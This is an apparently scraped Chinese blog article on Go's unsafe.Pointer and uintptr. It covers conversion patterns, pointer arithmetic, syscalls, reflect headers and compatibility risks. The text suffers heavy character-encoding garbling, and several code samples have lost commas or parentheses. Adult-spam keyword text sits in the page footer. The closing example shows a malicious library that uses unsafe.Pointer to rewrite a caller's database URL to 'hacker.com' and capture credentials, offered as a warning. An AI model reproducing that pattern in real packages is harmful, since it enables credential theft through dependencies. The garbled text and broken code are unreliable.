1. <strong id="7actg"></strong>
    2. <table id="7actg"></table>

    3. <address id="7actg"></address>
      <address id="7actg"></address>
      1. <object id="7actg"><tt id="7actg"></tt></object>

        面試官:說說unsafe.Pointer和uintptr的區(qū)別和聯(lián)系

        共 5517字,需瀏覽 12分鐘

         ·

        2021-05-20 01:12

        點(diǎn)擊上方藍(lán)色“Go語言中文網(wǎng)”關(guān)注,每天一起學(xué) Go

        前幾天 Go語言中文網(wǎng) 公眾號(hào)發(fā)了一篇文章:unsafe 真就不安全嗎?其中談到了 unsafe 包的初衷和功能。不過那篇文章還有一個(gè)功能沒講,那就是 unsafe.Pointer,今天就詳細(xì)介紹它,包括其他相關(guān)類型和實(shí)際使用情況。同時(shí)還會(huì)設(shè)計(jì)到社區(qū)對(duì) unsafe 的看法以及建議。希望看完這篇文章,你能較好的掌握 unsafe.Pointer。當(dāng)然,請(qǐng)?jiān)诒匾獣r(shí)使用它。

        type Pointer

        此類型表示指向任意類型的指針,這意味著,unsafe.Pointer 可以轉(zhuǎn)換為任何類型或 uintptr 的指針值。你可能會(huì)想: 有什么限制嗎?沒有,是的... 你可以轉(zhuǎn)換 Pointer 為任何你想要的,但你必須處理可能的后果。為了減少可能出現(xiàn)的問題,你可以使用某些模式:

        以下涉及 Pointer 的模式是有效的。不使用這些模式的代碼今天可能無效,或者將來可能無效。即使是下面這些有效的模式,也帶有重要的警告。” —— golang.org

        你也可以使用 go vet,但是它不能解決所有的問題。因此,我建議你遵循這些模式,因?yàn)檫@是減少錯(cuò)誤的唯一方法。

        快速拷貝

        如果兩種類型的內(nèi)存布局相同,為了避免內(nèi)存分配,你可以通過以下機(jī)制將類型 *T1 的指針轉(zhuǎn)換為類型 *T2 的指針,將類型 T1 的值復(fù)制到類型 T2 的變量中:

        ptrT1 := &T1{}
        ptrT2 = (*T2)(unsafe.Pointer(ptrT1))

        但是要小心,這種轉(zhuǎn)換是有代價(jià)的,現(xiàn)在兩個(gè)指針指向同一個(gè)內(nèi)存地址,所以每個(gè)指針的改變也會(huì)反應(yīng)到另一個(gè)指針上??梢酝ㄟ^這里驗(yàn)證[1]

        unsafe.Pointer != uintptr

        我已經(jīng)提到過,指針可以轉(zhuǎn)換為 uintptr 并轉(zhuǎn)回來,但是轉(zhuǎn)回來是有一些特殊的條件限制的。unsafe.Pointer 是一個(gè)真正的指針,它不僅保持內(nèi)存地址,包括動(dòng)態(tài)鏈接的地址,但 uintptr 只是一個(gè)數(shù)字,因此它更小,但有代價(jià)。如果你轉(zhuǎn)換 unsafe.Pointer 為 uintptr 后,指針不再引用指向的變量,而且在將 uintptr 轉(zhuǎn)換回 unsafe.Pointer 變量之前,垃圾收集器可以輕松地回收該內(nèi)存。至少有兩種解決方案可以避免此問題。第一個(gè)更復(fù)雜的,但也真正顯示了,為了使用 unsafe 包,你必須犧牲什么。有一個(gè)特殊的函數(shù),runtime.KeepAlive 可以避免 GC 不恰當(dāng)?shù)幕厥?。它聽起來很?fù)雜,而且使用起來更加復(fù)雜。這里為你準(zhǔn)備了實(shí)際例子[2]。

        指針?biāo)惴?/span>

        還有另一種方法避免 GC 不恰當(dāng)回收。即在同一個(gè)語句中做以下事情:將 unsafe.Poniter 轉(zhuǎn)為 uintptr,以及將 uintptr 做其他運(yùn)算,最后轉(zhuǎn)回 unsafe.Pointer 。因?yàn)?uintptr 只是一個(gè)數(shù)字,我們可以做所有特殊的算術(shù)運(yùn)算,比如加法或減法。我們?nèi)绾问褂盟??指針?biāo)惴ㄍㄟ^了解內(nèi)存布局和算術(shù)運(yùn)算,可以得到任何需要的數(shù)據(jù)。讓我們來看看下一個(gè)例子:

        x := [4]byte{10111213}
        elPtr := unsafe.Pointer(uintptr(unsafe.Pointer(&x[0])) + 3*unsafe.Sizeof(x[0]))

        有了指向字節(jié)數(shù)組第一個(gè)元素的指針,我們就可以在不使用索引的情況下獲得最后一個(gè)元素。如果將指針移動(dòng)三個(gè)字節(jié),我們就可以得到最后一個(gè)元素。

        因此,在一個(gè)表達(dá)式中執(zhí)行所有轉(zhuǎn)換可以省去 GC 清理的麻煩。上述三種模式說明了如何在不同情況下正確地轉(zhuǎn)換 unsafe.Pointer 為其他數(shù)據(jù)類型的指針。

        Syscalls

        在包 syscall 中,有一個(gè)函數(shù) syscall.Syscall 接收 uintptr 格式的指針的系統(tǒng)調(diào)用,我們可以通過 unsafe.Pointer 得到 uintptr。重要的是,你必須進(jìn)行正確的轉(zhuǎn)換:

        a := &A{1}
        b := &A{2}
        syscall.Syscall(0uintptr(unsafe.Pointer(a)), uintptr(unsafe.Pointer(b))) // Right

        aPtr := uintptr(unsafe.Pointer(a)
        bPtr := uintptr(unsafe.Pointer(b)
        syscall.Syscall(0, aPtr, bPtr) // Wrong

        reflect.Value.Pointer 和 reflect.Value.UnsafeAddr

        reflect 包中有兩個(gè)方法: Pointer 和 UnsafeAddr,它們返回 uintptr,因此我們應(yīng)該立即將結(jié)果轉(zhuǎn)換為 unsafe.Pointer,因?yàn)槲覀冃枰獣r(shí)刻“提防”我們的 GC 朋友:

        p1 := (*int)(unsafe.Pointer(reflect.ValueOf(new(int)).Pointer())) // Right

        ptr := reflect.ValueOf(new(int)).Pointer() // Wrong
        p2 := (*int)(unsafe.Pointer(ptr) // Wrong

        reflect.SliceHeader 和 reflect.StringHeader

        reflect 包中有兩種類型: SliceHeader 和 StringHeader,它們都具有字段 Data uintptr。正如你所記得的那樣,uintptr 通常與 unsafe.Pointer 聯(lián)系在一起,見下面代碼:

        var s string
        hdr := (*reflect.StringHeader)(unsafe.Pointer(&s))
        hdr.Data = uintptr(unsafe.Pointer(p))
        hdr.Len = n

        以上就是所有可能關(guān)于 unsafe.Pointer 使用的模式,所有不遵循這些模式或從這些模式派生的情況很可能是無效的。但是 unsafe 包不僅在代碼中而且在代碼之外都會(huì)帶來問題。讓我們回顧一下其中的幾個(gè)。

        兼容性

        Go 有兼容性指南[3],保證版本更新的兼容性。簡單地說,它保證你的代碼在升級(jí)后仍然可以工作,但是不能保證你已經(jīng)導(dǎo)入了 unsafe 的包。unsafe 包的使用可能會(huì)破壞你的代碼的每個(gè)版本: major,minor,甚至安全修補(bǔ)程序。所以在導(dǎo)入之前,試著想一下這樣一種情況:你的客戶問你為什么我們不能通過升級(jí) Go 版本來消除漏洞,或者為什么在更新之后什么都不能工作了。

        不同的行為

        你知道所有的 Go 數(shù)據(jù)類型嗎?你聽說過 int 嗎?如果我們已經(jīng)有 int32 和 int64,為什么還有 int?實(shí)際上 int 類型是根據(jù)計(jì)算機(jī)體系結(jié)構(gòu)(x32 或 x64)將其轉(zhuǎn)換為 int32 或 int64 類型。所以請(qǐng)記住,unsafe 的函數(shù)結(jié)果和內(nèi)存布局在不同的架構(gòu)上可能是不同的,例如:

        var s string
        unsafe.Sizeof(s) // x32 上是 8,而 x64 上是 16

        社區(qū)的情況

        我想知道:如果這個(gè)包如此危險(xiǎn),有多少冒險(xiǎn)者在使用它。我已經(jīng)在 GitHub[4] 上搜索過了。與 crypto[5]math[6] 相比,數(shù)量并不多。其中超過一半的內(nèi)容是關(guān)于使用 unsafe 的方法的技巧和可能的偏差,而不是一些真正的用法。

        Rust 社區(qū)有一個(gè)事件:一個(gè)叫 Nikolay Kim 的,他是 activex[7] 項(xiàng)目的創(chuàng)始人,在社區(qū)的巨大壓力下,將 activex 庫變成了私有。后來再公開該倉庫時(shí),將其中一個(gè)貢獻(xiàn)者提升為所有者,然后離開[8]。所有這一切的發(fā)生都是因?yàn)橐恍┤苏J(rèn)為使用了 unsafe 包,這太危險(xiǎn)不應(yīng)該使用。我知道 Go 社區(qū)目前沒有這種情況,而且 Go 社區(qū)里也沒有唯一正確的觀點(diǎn)。我想要提醒的是,如果你在代碼中導(dǎo)入了 unsafe 的代碼,請(qǐng)做好準(zhǔn)備,社區(qū)可能會(huì)。。。

        愛好者

        有很多人和很多想法,這篇文章[9]展示了使用 int 和使用指針操作的新方法,簡而言之,它看起來像這樣:

        var foo int
        fooslice = (*[1]int)(unsafe.Pointer(&foo))[:]

        對(duì)此,我不發(fā)表意見,我只會(huì)提到,你應(yīng)該注意導(dǎo)入 unsafe 可能的問題。

        最后

        我個(gè)人試著去思考 unsafe 帶來問題的可能性,這里有一個(gè)使用 unsafe 的例子。假設(shè)你導(dǎo)入了一些執(zhí)行某些有用操作的第三方包,比如將 DB 客戶端對(duì)象和日志記錄器包裝到一個(gè)實(shí)體中,以使所有操作的日志記錄更加容易,或者像我的例子中那樣,導(dǎo)入一些返回對(duì)象的動(dòng)物的函數(shù)...

        package main

        import (
         "fmt"
         "third-party/safelib"
        )

        func main() {
         a := safelib.NewA("https://google.com""1234"// Url and password
         fmt.Println("My spiritual animal is: ", safelib.DoSomeHipsterMagic(a))
         a.Show()
        }

        在這個(gè)函數(shù)中,我們將 interface{} 斷言為一些已知類型,并快速復(fù)制到一些 Malicious 類型,這些 Malicious 類型具有獲取和設(shè)置私有字段的方法,如 url 和密碼。所以這個(gè)包可以提取出所有有趣的數(shù)據(jù),甚至替換 url,這樣下次你嘗試連接到 DB 時(shí),有人會(huì)獲得你的憑證。

        func DoSomeHipsterMagic(any interface{}) string {
         if a, ok := any.(*A); ok {
          mal := (*Malicious)(unsafe.Pointer(a))
          mal.setURL("http://hacker.com")
         }

         return "Cool green dragon, arrh ??"
        }

        最后的最后,切記所有的技術(shù)都有一定的代價(jià),但是 unsafe 技術(shù)尤其“昂貴”,所以我的建議是在使用它之前要三思。

        參考資料

        [1]

        這里驗(yàn)證: https://play.studygolang.com/p/bZGEHrHp4LM

        [2]

        實(shí)際例子: https://play.studygolang.com/p/L7rgheqNo9w

        [3]

        兼容性指南: https://docs.studygolang.com/doc/go1compat

        [4]

        GitHub: https://github.com/search?l=Go&q=unsafe&type=Repositories

        [5]

        crypto: https://github.com/search?l=Go&q=crypto&type=Repositories

        [6]

        math: https://github.com/search?l=Go&q=math&type=Repositories

        [7]

        activex: https://github.com/actix

        [8]

        離開: https://github.com/actix/actix-web/issues/1289

        [9]

        這篇文章: https://nullprogram.com/blog/2019/06/30/



        推薦閱讀


        福利

        我為大家整理了一份從入門到進(jìn)階的Go學(xué)習(xí)資料禮包,包含學(xué)習(xí)建議:入門看什么,進(jìn)階看什么。關(guān)注公眾號(hào) 「polarisxu」,回復(fù) ebook 獲?。贿€可以回復(fù)「進(jìn)群」,和數(shù)萬 Gopher 交流學(xué)習(xí)。


        瀏覽 65
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        評(píng)論
        圖片
        表情
        推薦
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        1. <strong id="7actg"></strong>
        2. <table id="7actg"></table>

        3. <address id="7actg"></address>
          <address id="7actg"></address>
          1. <object id="7actg"><tt id="7actg"></tt></object>
            国产老熟女高潮毛片A片仙踪林 | 红桃视频一区二区三区免费观看 | 国产 日韩 欧美 综合 | 91麻豆精品成人一区二区 | 三级视频 | 97人人爽人人爽人人爽 | 手机在线毛片 | 久久三级黄片 | 女人操逼网站免费观看 | av男人天堂av |